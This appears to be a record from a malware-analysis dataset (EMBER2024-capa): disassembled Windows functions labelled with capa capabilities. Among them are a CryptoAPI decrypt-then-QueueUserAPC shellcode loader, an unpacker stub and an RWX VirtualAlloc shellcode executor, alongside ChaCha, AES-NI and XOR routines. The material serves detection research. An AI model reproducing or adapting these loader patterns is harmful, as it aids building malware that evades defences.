joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800011f0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
sub rsp, 0x68
mov rax, qword [0x180008008]
xor rax, rsp
mov qword [rsp + 0x58], rax
test edx, edx
je 0x180001355
sub edx, 1
je 0x180001227
sub edx, 1
je 0x180001355
cmp edx, 1
je 0x180001355
jmp 0x180001360
mov qword [rsp + 0x60], rbx
call section..text
mov r9d, 0x18
mov dword [rsp + 0x30], 0x43a10
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea rbx, [0x180008060]
test eax, eax
je 0x18000131a
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x18000131a
mov rcx, qword [rsp + 0x48]
lea rdx, [0x180008050]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x18000131a
mov r8, qword [rsp + 0x48]
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x18000131a
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x18000131a
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
lea r9, [rsp + 0x38]
mov dword [rsp + 0x38], 0
mov edx, 0x43a10
mov r8d, 0x20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rbx, qword [rsp + 0x60]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180001390
add rsp, 0x68
ret
Function at 0x140134730
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14013473d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14013474d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140134735
lea eax, [rcx + 1]
jmp 0x14013475b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14013476e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140134754
sub eax, 3
jb 0x14013478e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1401347dd
sar eax, 1
movsxd rbp, eax
jb 0x1401347c4
jmp 0x14013479c
add ebx, ebx
jne 0x14013479a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1401347c4
inc ecx
add ebx, ebx
jne 0x1401347aa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1401347c4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1401347bd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1401347ac
add ecx, 2
jmp 0x1401347c9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1401346f2
jmp 0x14013473d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xd5600
mov dl, 0x1a
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14013482d
cmp rsi, rcx
jae 0x140134835
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140134814
cmp al, 0x8f
ja 0x140134814
cmp byte [rsi - 2], 0xf
je 0x14013481a
sub al, 0xe8
cmp al, 1
ja 0x1401347fe
cmp rsi, rcx
jae 0x140134835
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140134804
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140134835
lodsb al, byte [rsi]
jmp 0x140134814
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x130000]
mov eax, dword [rdi]
or eax, eax
je 0x140134892
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1344ec]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140134842
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14013488c
mov qword [rbx], rax
add rbx, 8
jmp 0x140134862
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1401348cc
cmp al, 0xef
ja 0x1401348be
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14013489e
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1401348ad
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.14013494b], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.14013494b
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14013493b
sub rsp, 0xffffffffffffff80
jmp 0x1400013f0
Function at 0x140001240
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
sub rsp, 0xc0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x38], 0xfffffffffffffffe
mov dword [rbp + 0x34], 0
mov dword [rbp + 0x30], r9d
mov qword [rbp + 0x28], r8
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x18], rcx
lea rcx, [0x1400423c0]
mov rax, rsp
mov qword [rax + 0x20], rcx
lea rdx, section..data
lea r9, [0x1400423a0]
mov rcx, rbp
mov qword [rbp - 0x28], rcx
mov r8d, 0x3a0
call fcn.140001080
mov rcx, qword [rbp - 0x28]
call fcn.1400014f0
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call rax
mov qword [rbp - 0x20], rax
jmp 0x1400012c9
mov rax, qword [rbp - 0x20]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140001311
lea rdx, str.Failed_to_allocate_memory
lea r8, [0x14002e390]
mov rax, qword [sym.imp.USER32.dll_MessageBoxW]
xor r9d, r9d
mov ecx, r9d
call rax
jmp 0x1400012fe
mov dword [rbp + 0x34], 1
mov dword [rbp - 0xc], 1
jmp 0x140001414
mov rax, qword [rbp - 8]
mov qword [rbp - 0x48], rax
mov rcx, rbp
mov qword [rbp - 0x38], rcx
call fcn.1400014b0
mov rcx, qword [rbp - 0x38]
mov qword [rbp - 0x40], rax
call fcn.1400014f0
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x40]
mov r8, rax
call fcn.14002c260
mov rcx, qword [rbp - 0x38]
call fcn.1400014f0
mov rdx, rax
mov rcx, qword [rbp - 8]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, 0x20
lea r9, [rbp - 0x10]
call rax
mov dword [rbp - 0x2c], eax
jmp 0x14000136d
mov eax, dword [rbp - 0x2c]
cmp eax, 0
jne 0x1400013e0
lea rdx, str.Failed_to_change_memory_protection
lea r8, [0x14002e390]
mov rax, qword [sym.imp.USER32.dll_MessageBoxW]
xor r9d, r9d
mov ecx, r9d
call rax
jmp 0x14000139b
mov rax, qword [rbp - 8]
mov qword [rbp - 0x58], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov qword [rbp - 0x50], rax
jmp 0x1400013b5
mov r8, qword [rbp - 0x58]
mov rcx, qword [rbp - 0x50]
mov rax, qword [sym.imp.KERNEL32.dll_HeapFree]
xor edx, edx
call rax
jmp 0x1400013cd
mov dword [rbp + 0x34], 1
mov dword [rbp - 0xc], 1
jmp 0x140001414
mov rax, qword [rbp - 8]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
call rax
jmp 0x1400013f3
mov rcx, qword [rbp - 8]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edx, edx
mov r8d, 0x8000
call rax
jmp 0x14000140d
mov dword [rbp - 0xc], 0
mov rcx, rbp
call fcn.1400014d0
mov eax, dword [rbp + 0x34]
add rsp, 0xc0
pop rbp
ret

Function at 0x140002640
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x58
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x24]
mov qword [0x140042460], rax
cmp rax, 0x10
jae 0x140002665
call fcn.1400022b0
mov edx, 0x10
lea rcx, [0x140043650]
call fcn.140002360
xor eax, eax
add rsp, 0x58
ret
Function at 0x140004250
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
mov eax, dword [rdx]
mov dword [rcx + 0x14], eax
mov eax, dword [rdx + 4]
mov dword [rcx + 0x28], eax
mov eax, dword [rdx + 8]
mov dword [rcx + 0x3c], eax
mov eax, dword [rdx + 0xc]
mov dword [rcx + 0x30], eax
mov eax, dword [rdx + 0x10]
mov dword [rcx + 0x1c], eax
mov eax, dword [rdx + 0x14]
mov dword [rcx + 0x10], eax
mov eax, dword [rdx + 0x18]
mov dword [rcx + 0x24], eax
mov eax, dword [rdx + 0x1c]
mov dword [rcx + 0x38], eax
mov dword [rcx], 0x61707865
mov dword [rcx + 4], 0x3320646e
mov dword [rcx + 8], 0x79622d32
mov dword [rcx + 0xc], 0x6b206574
ret
Function at 0x140006100
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
mov rdi, rcx
call fcn.140006180
mov eax, 0xffffffff
cmp rbx, rax
jbe 0x140006124
call fcn.1400022b0
mov edx, ebx
mov rcx, rdi
call sub.ADVAPI32.dll_SystemFunction036
test al, al
jne 0x140006137
call fcn.1400022b0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14000dbc0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x10
mov rax, qword [0x140042a00]
xor rax, rsp
mov qword [rsp + 8], rax
xor edx, edx
lea r15, [0x14002e7a0]
mov dword [rsp], edx
mov r8, rcx
movzx edi, byte [rsp + 3]
xor eax, eax
movzx esi, byte [rsp + 2]
movzx ebx, dl
movzx ebp, byte [rsp + 1]
movzx r14d, dl
mov word [rsp + 4], dx
movzx r11d, byte [rsp + 5]
nop dword [rax]
movzx r10d, byte [r8 + rax]
movzx ecx, r10b
xor cl, byte [rax + r15]
or cl, r14b
movzx r14d, cl
movzx ecx, r10b
xor cl, byte [rax + r15 + 0x20]
or cl, bpl
movzx ebp, cl
movzx ecx, r10b
xor cl, byte [rax + r15 + 0x40]
or cl, sil
movzx esi, cl
movzx ecx, r10b
xor cl, byte [rax + r15 + 0x60]
or cl, dil
movzx edi, cl
movzx ecx, r10b
xor cl, byte [rax + r15 + 0x80]
or cl, bl
movzx ebx, cl
movzx ecx, r10b
xor cl, byte [rax + r15 + 0xa0]
xor r10b, byte [rax + r15 + 0xc0]
or cl, r11b
or r10b, dl
movzx r11d, cl
inc rax
movzx edx, r10b
cmp rax, 0x1f
jb 0x14000dc20
movzx ecx, byte [rax + r8]
movzx r9d, byte [rax + r15]
and cl, 0x7f
movzx edx, byte [rax + r15 + 0xa0]
movzx r8d, cl
xor edx, r8d
movzx ecx, r10b
or edx, r11d
xor r9d, r8d
dec edx
or r9d, r14d
dec r9d
or r9d, edx
movzx edx, byte [rax + r15 + 0x80]
xor edx, r8d
or edx, ebx
dec edx
or r9d, edx
movzx edx, byte [rax + r15 + 0x60]
xor edx, r8d
or edx, edi
dec edx
or r9d, edx
movzx edx, byte [rax + r15 + 0x20]
xor edx, r8d
or edx, ebp
dec edx
or r9d, edx
movzx edx, byte [rax + r15 + 0x40]
movzx eax, byte [rax + r15 + 0xc0]
xor edx, r8d
xor eax, r8d
or edx, esi
or eax, ecx
dec edx
dec eax
or r9d, edx
or eax, r9d
shr eax, 8
and eax, 1
mov rcx, qword [rsp + 8]
xor rcx, rsp
call fcn.14001e810
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x10
pop r15
pop r14
pop rdi
ret
Function at 0x14000e5c0
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
mov dword [rcx], 0x61707865
mov dword [rcx + 4], 0x3320646e
mov dword [rcx + 8], 0x79622d32
mov dword [rcx + 0xc], 0x6b206574
mov eax, dword [rdx]
mov dword [rcx + 0x10], eax
mov eax, dword [rdx + 4]
mov dword [rcx + 0x14], eax
mov eax, dword [rdx + 8]
mov dword [rcx + 0x18], eax
mov eax, dword [rdx + 0xc]
mov dword [rcx + 0x1c], eax
mov eax, dword [rdx + 0x10]
mov dword [rcx + 0x20], eax
mov eax, dword [rdx + 0x14]
mov dword [rcx + 0x24], eax
mov eax, dword [rdx + 0x18]
mov dword [rcx + 0x28], eax
mov eax, dword [rdx + 0x1c]
mov dword [rcx + 0x2c], eax
ret
Function at 0x140012ea0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
sub rsp, 0x38
movdqu xmm0, xmmword [rdx]
movdqu xmm2, xmmword [r8 + 0x60]
movaps xmmword [rsp + 0x20], xmm6
movaps xmmword [rsp + 0x10], xmm7
movdqu xmm7, xmmword [rdx + 0x10]
movaps xmmword [rsp], xmm8
movdqa xmm8, xmm2
pxor xmm7, xmmword [r8 + 0x50]
pxor xmm8, xmm0
pxor xmm7, xmmword [r8 + 0x20]
pxor xmm8, xmmword [r8 + 0x10]
movdqu xmm0, xmmword [r8 + 0x20]
pand xmm0, xmmword [r8 + 0x30]
pand xmm2, xmmword [r8 + 0x70]
pxor xmm8, xmm0
movdqu xmmword [rcx], xmm8
pxor xmm7, xmm2
movdqu xmmword [rcx + 0x10], xmm7
movdqu xmm6, xmmword [r8 + 0x70]
movdqu xmm5, xmmword [r8 + 0x30]
movdqu xmm0, xmmword [r8 + 0x60]
movdqu xmm1, xmmword [r8 + 0x50]
aesenc xmm1, xmmword [r8 + 0x60]
aesenc xmm0, xmm6
aesenc xmm6, xmmword [r8]
movdqu xmmword [r8 + 0x70], xmm0
pxor xmm6, xmm8
movdqu xmm0, xmmword [r8 + 0x40]
aesenc xmm0, xmmword [r8 + 0x50]
movaps xmm8, xmmword [rsp]
movdqu xmmword [r8 + 0x50], xmm0
movdqu xmm0, xmmword [r8 + 0x20]
aesenc xmm0, xmm5
aesenc xmm5, xmmword [r8 + 0x40]
movdqu xmmword [r8 + 0x30], xmm0
pxor xmm5, xmm7
movdqu xmm0, xmmword [r8]
aesenc xmm0, xmmword [r8 + 0x10]
movaps xmm7, xmmword [rsp + 0x10]
movdqu xmmword [r8 + 0x60], xmm1
movdqu xmm1, xmmword [r8 + 0x10]
aesenc xmm1, xmmword [r8 + 0x20]
movdqu xmmword [r8], xmm6
movaps xmm6, xmmword [rsp + 0x20]
movdqu xmmword [r8 + 0x10], xmm0
movdqu xmmword [r8 + 0x20], xmm1
movdqu xmmword [r8 + 0x40], xmm5
add rsp, 0x38
ret
Function at 0x140012fc0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x60
movaps xmmword [rsp + 0x50], xmm6
mov rax, qword [0x140042a00]
xor rax, rsp
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
mov rbx, rcx
lea rcx, [rsp + 0x20]
mov rsi, r9
movups xmmword [rsp + 0x20], xmm0
mov rdi, r8
movups xmmword [rsp + 0x30], xmm0
call fcn.14002c260
movdqu xmm0, xmmword [rsp + 0x20]
lea rcx, [rsp + 0x20]
mov r8d, 0x20
movdqu xmm3, xmmword [rsi + 0x60]
sub r8, rdi
movdqa xmm1, xmm3
add rcx, rdi
pand xmm3, xmmword [rsi + 0x70]
pxor xmm1, xmm0
movdqu xmm0, xmmword [rsi + 0x20]
xor edx, edx
pand xmm0, xmmword [rsi + 0x30]
pxor xmm1, xmmword [rsi + 0x10]
pxor xmm1, xmm0
movdqu xmm0, xmmword [rsp + 0x30]
movdqu xmmword [rsp + 0x20], xmm1
pxor xmm0, xmmword [rsi + 0x50]
pxor xmm0, xmmword [rsi + 0x20]
pxor xmm0, xmm3
movdqu xmmword [rsp + 0x30], xmm0
call fcn.14002c900
mov r8, rdi
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.14002c260
movdqu xmm6, xmmword [rsi + 0x70]
movdqu xmm5, xmmword [rsi + 0x30]
movdqu xmm0, xmmword [rsi + 0x60]
movdqu xmm1, xmmword [rsi + 0x50]
aesenc xmm1, xmmword [rsi + 0x60]
aesenc xmm0, xmm6
aesenc xmm6, xmmword [rsi]
movdqu xmmword [rsi + 0x70], xmm0
movdqu xmm0, xmmword [rsi + 0x40]
aesenc xmm0, xmmword [rsi + 0x50]
movdqu xmmword [rsi + 0x50], xmm0
movdqu xmm0, xmmword [rsi + 0x20]
aesenc xmm0, xmm5
aesenc xmm5, xmmword [rsi + 0x40]
movdqu xmmword [rsi + 0x30], xmm0
movdqu xmm0, xmmword [rsi]
aesenc xmm0, xmmword [rsi + 0x10]
movdqu xmmword [rsi + 0x60], xmm1
movdqu xmm1, xmmword [rsi + 0x10]
aesenc xmm1, xmmword [rsi + 0x20]
movdqu xmmword [rsi + 0x10], xmm0
movdqu xmm0, xmmword [rsp + 0x20]
movdqu xmmword [rsi + 0x20], xmm1
pxor xmm6, xmm0
movdqu xmm0, xmmword [rsp + 0x30]
movdqu xmmword [rsi], xmm6
pxor xmm5, xmm0
movdqu xmmword [rsi + 0x40], xmm5
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14001e810
movaps xmm6, xmmword [rsp + 0x50]
add rsp, 0x60
pop rdi
pop rsi
pop rbx
ret
Function at 0x140013120
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
sub rsp, 0x38
movdqu xmm2, xmmword [r8 + 0x60]
movdqu xmm3, xmmword [r8 + 0x20]
movdqa xmm0, xmm2
pand xmm0, xmmword [r8 + 0x70]
movaps xmmword [rsp + 0x20], xmm6
movaps xmmword [rsp + 0x10], xmm7
movdqu xmm7, xmmword [rdx]
movaps xmmword [rsp], xmm8
movdqu xmm8, xmmword [rdx + 0x10]
pxor xmm2, xmm7
pxor xmm2, xmmword [r8 + 0x10]
movdqa xmm1, xmm8
pxor xmm1, xmmword [r8 + 0x50]
pxor xmm1, xmm3
pand xmm3, xmmword [r8 + 0x30]
pxor xmm1, xmm0
pxor xmm2, xmm3
movdqu xmmword [rcx], xmm2
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmm6, xmmword [r8 + 0x70]
movdqu xmm5, xmmword [r8 + 0x30]
movdqu xmm0, xmmword [r8 + 0x60]
movdqu xmm1, xmmword [r8 + 0x50]
aesenc xmm1, xmmword [r8 + 0x60]
aesenc xmm0, xmm6
aesenc xmm6, xmmword [r8]
movdqu xmmword [r8 + 0x70], xmm0
pxor xmm6, xmm7
movdqu xmm0, xmmword [r8 + 0x40]
aesenc xmm0, xmmword [r8 + 0x50]
movaps xmm7, xmmword [rsp + 0x10]
movdqu xmmword [r8 + 0x50], xmm0
movdqu xmm0, xmmword [r8 + 0x20]
aesenc xmm0, xmm5
aesenc xmm5, xmmword [r8 + 0x40]
movdqu xmmword [r8 + 0x30], xmm0
pxor xmm5, xmm8
movdqu xmm0, xmmword [r8]
aesenc xmm0, xmmword [r8 + 0x10]
movaps xmm8, xmmword [rsp]
movdqu xmmword [r8 + 0x60], xmm1
movdqu xmm1, xmmword [r8 + 0x10]
aesenc xmm1, xmmword [r8 + 0x20]
movdqu xmmword [r8], xmm6
movaps xmm6, xmmword [rsp + 0x20]
movdqu xmmword [r8 + 0x10], xmm0
movdqu xmmword [r8 + 0x20], xmm1
movdqu xmmword [r8 + 0x40], xmm5
add rsp, 0x38
ret
Function at 0x140013240
Capabilities:
Encode data using xor
Encrypt data using aes via x86 extensions

Disassembly:
mov rax, rsp
sub rsp, 0xc8
movdqu xmm0, xmmword [rdx]
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
movaps xmmword [rax - 0x38], xmm8
movaps xmmword [rax - 0x48], xmm9
movdqa xmm9, xmm0
movaps xmmword [rax - 0x58], xmm10
movdqa xmm10, xmmword [0x14002e910]
movaps xmmword [rax - 0x68], xmm11
movaps xmmword [rax - 0x78], xmm12
mov eax, 5
movdqu xmm12, xmmword [rcx]
movaps xmmword [rsp + 0x40], xmm13
movdqa xmm13, xmmword [0x14002e900]
pxor xmm9, xmm12
movaps xmmword [rsp + 0x30], xmm14
movdqa xmm8, xmm12
pxor xmm8, xmm13
movaps xmmword [rsp + 0x20], xmm15
movdqa xmm5, xmm9
movdqa xmmword [rsp + 0x10], xmm0
movdqa xmm11, xmm12
movdqa xmmword [rsp], xmm5
movdqa xmm14, xmm8
pxor xmm11, xmm10
movdqa xmm15, xmm10
nop word [rax + rax]
movdqa xmm3, xmm9
movdqa xmm7, xmm11
movdqa xmm6, xmm13
movdqa xmm4, xmm15
movdqa xmm1, xmm14
aesenc xmm5, xmm15
aesenc xmm6, xmm10
aesenc xmm10, xmm9
pxor xmm10, xmm12
movdqa xmm9, xmm6
movdqa xmm2, xmm10
aesenc xmm7, xmm8
aesenc xmm8, xmmword [rsp]
pxor xmm0, xmm8
movdqa xmm15, xmm0
aesenc xmm4, xmm13
movdqa xmm13, xmm5
movdqa xmm10, xmm4
aesenc xmm15, xmm5
movdqa xmm5, xmm7
aesenc xmm1, xmm11
movdqa xmm8, xmm1
aesenc xmm3, xmm14
movdqa xmm11, xmm3
movdqa xmm14, xmm2
aesenc xmm5, xmm0
movdqa xmm0, xmmword [rsp + 0x10]
pxor xmm5, xmm0
movdqa xmmword [rsp], xmm5
movdqu xmmword [r8], xmm5
aesenc xmm9, xmm2
pxor xmm9, xmm12
aesenc xmm8, xmm7
aesenc xmm11, xmm1
aesenc xmm14, xmm3
aesenc xmm10, xmm6
aesenc xmm13, xmm4
sub rax, 1
jne 0x1400132e0
lea r11, [rsp + 0xc8]
movdqu xmmword [r8 + 0x10], xmm15
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm12, xmmword [r11 - 0x78]
movaps xmm15, xmmword [rsp + 0x20]
movdqu xmmword [r8 + 0x20], xmm13
movaps xmm13, xmmword [rsp + 0x40]
movdqu xmmword [r8 + 0x30], xmm10
movaps xmm10, xmmword [r11 - 0x58]
movdqu xmmword [r8 + 0x40], xmm9
movaps xmm9, xmmword [r11 - 0x48]
movdqu xmmword [r8 + 0x50], xmm14
movaps xmm14, xmmword [rsp + 0x30]
movdqu xmmword [r8 + 0x60], xmm11
movaps xmm11, xmmword [r11 - 0x68]
movdqu xmmword [r8 + 0x70], xmm8
movaps xmm8, xmmword [r11 - 0x38]
mov rsp, r11
ret
Function at 0x140013420
Capabilities:
Encode data using xor
Encrypt data using aes via x86 extensions

Disassembly:
sub rsp, 0x78
mov rax, qword [rsp + 0xa0]
lea r8, [r8*8]
movaps xmmword [rsp + 0x60], xmm6
lea r9, [r9*8]
movaps xmmword [rsp + 0x50], xmm7
movq xmm6, r8
movaps xmmword [rsp + 0x40], xmm8
movq xmm0, r9
movdqu xmm5, xmmword [rax + 0x20]
mov r8d, 7
movdqu xmm8, xmmword [rax + 0x60]
movdqu xmm2, xmmword [rax + 0x40]
movdqu xmm3, xmmword [rax + 0x30]
movdqu xmm7, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x30], xmm9
movdqu xmm9, xmmword [rax + 0x50]
punpcklqdq xmm6, xmm0
movaps xmmword [rsp + 0x20], xmm10
pxor xmm6, xmm5
movdqu xmm10, xmmword [rax + 0x70]
nop word [rax + rax]
movdqa xmm0, xmm8
movdqa xmm4, xmm10
movdqa xmm1, xmm9
aesenc xmm4, xmmword [rax]
pxor xmm4, xmm6
aesenc xmm0, xmm10
movdqa xmm10, xmm0
movdqa xmm0, xmm2
aesenc xmm0, xmm9
movdqa xmm9, xmm0
movdqa xmm0, xmm3
aesenc xmm0, xmm2
movdqa xmm2, xmm0
movdqa xmm0, xmm7
pxor xmm2, xmm6
aesenc xmm1, xmm8
movdqa xmm8, xmm1
movdqa xmm1, xmm5
aesenc xmm0, xmm5
movdqa xmm5, xmm0
movdqu xmm0, xmmword [rax]
movdqu xmmword [rax], xmm4
aesenc xmm0, xmm7
movdqa xmm7, xmm0
aesenc xmm1, xmm3
movdqa xmm3, xmm1
sub r8, 1
jne 0x1400134a0
movdqu xmmword [rax + 0x20], xmm5
movdqu xmmword [rax + 0x70], xmm10
movdqu xmmword [rax + 0x60], xmm8
movdqu xmmword [rax + 0x50], xmm9
movdqu xmmword [rax + 0x40], xmm2
movdqu xmmword [rax + 0x30], xmm1
movdqu xmmword [rax + 0x10], xmm0
cmp rdx, 0x10
jne 0x14001356b
pxor xmm2, xmm9
pxor xmm3, xmm5
pxor xmm2, xmm8
pxor xmm4, xmm0
pxor xmm2, xmm3
pxor xmm2, xmm4
movdqu xmmword [rcx], xmm2
jmp 0x1400135aa
cmp rdx, 0x20
jne 0x1400135a0
pxor xmm4, xmm0
pxor xmm3, xmm5
pxor xmm3, xmm4
movdqu xmmword [rcx], xmm3
movdqu xmm1, xmmword [rax + 0x40]
movdqu xmm0, xmmword [rax + 0x70]
pxor xmm1, xmmword [rax + 0x50]
pxor xmm0, xmmword [rax + 0x60]
pxor xmm1, xmm0
movdqu xmmword [rcx + 0x10], xmm1
jmp 0x1400135aa
mov r8, rdx
xor edx, edx
call fcn.14002c900
movaps xmm6, xmmword [rsp + 0x60]
movaps xmm7, xmmword [rsp + 0x50]
movaps xmm8, xmmword [rsp + 0x40]
movaps xmm9, xmmword [rsp + 0x30]
movaps xmm10, xmmword [rsp + 0x20]
add rsp, 0x78
ret
Function at 0x140014fc0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x140042a00]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, rcx
xorps xmm0, xmm0
lea rcx, [rsp + 0x20]
mov rsi, r9
movups xmmword [rsp + 0x20], xmm0
mov rdi, r8
call fcn.14002c260
movdqu xmm1, xmmword [rsp + 0x20]
lea rcx, [rsp + 0x20]
mov r8d, 0x10
movdqu xmm0, xmmword [rsi + 0x20]
sub r8, rdi
pxor xmm1, xmmword [rsi + 0x50]
add rcx, rdi
pxor xmm1, xmmword [rsi + 0x40]
xor edx, edx
pxor xmm1, xmmword [rsi + 0x10]
pand xmm0, xmmword [rsi + 0x30]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x20], xmm1
call fcn.14002c900
mov r8, rdi
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.14002c260
movdqu xmm4, xmmword [rsi + 0x50]
movdqu xmm0, xmmword [rsi + 0x40]
movdqu xmm1, xmmword [rsi + 0x30]
aesenc xmm1, xmmword [rsi + 0x40]
aesenc xmm0, xmm4
aesenc xmm4, xmmword [rsi]
movdqu xmmword [rsi + 0x50], xmm0
movdqu xmm0, xmmword [rsi + 0x20]
aesenc xmm0, xmmword [rsi + 0x30]
movdqu xmmword [rsi + 0x30], xmm0
movdqu xmm0, xmmword [rsi]
aesenc xmm0, xmmword [rsi + 0x10]
movdqu xmmword [rsi + 0x40], xmm1
movdqu xmm1, xmmword [rsi + 0x10]
aesenc xmm1, xmmword [rsi + 0x20]
movdqu xmmword [rsi + 0x10], xmm0
movdqu xmm0, xmmword [rsp + 0x20]
movdqu xmmword [rsi + 0x20], xmm1
pxor xmm4, xmm0
movdqu xmmword [rsi], xmm4
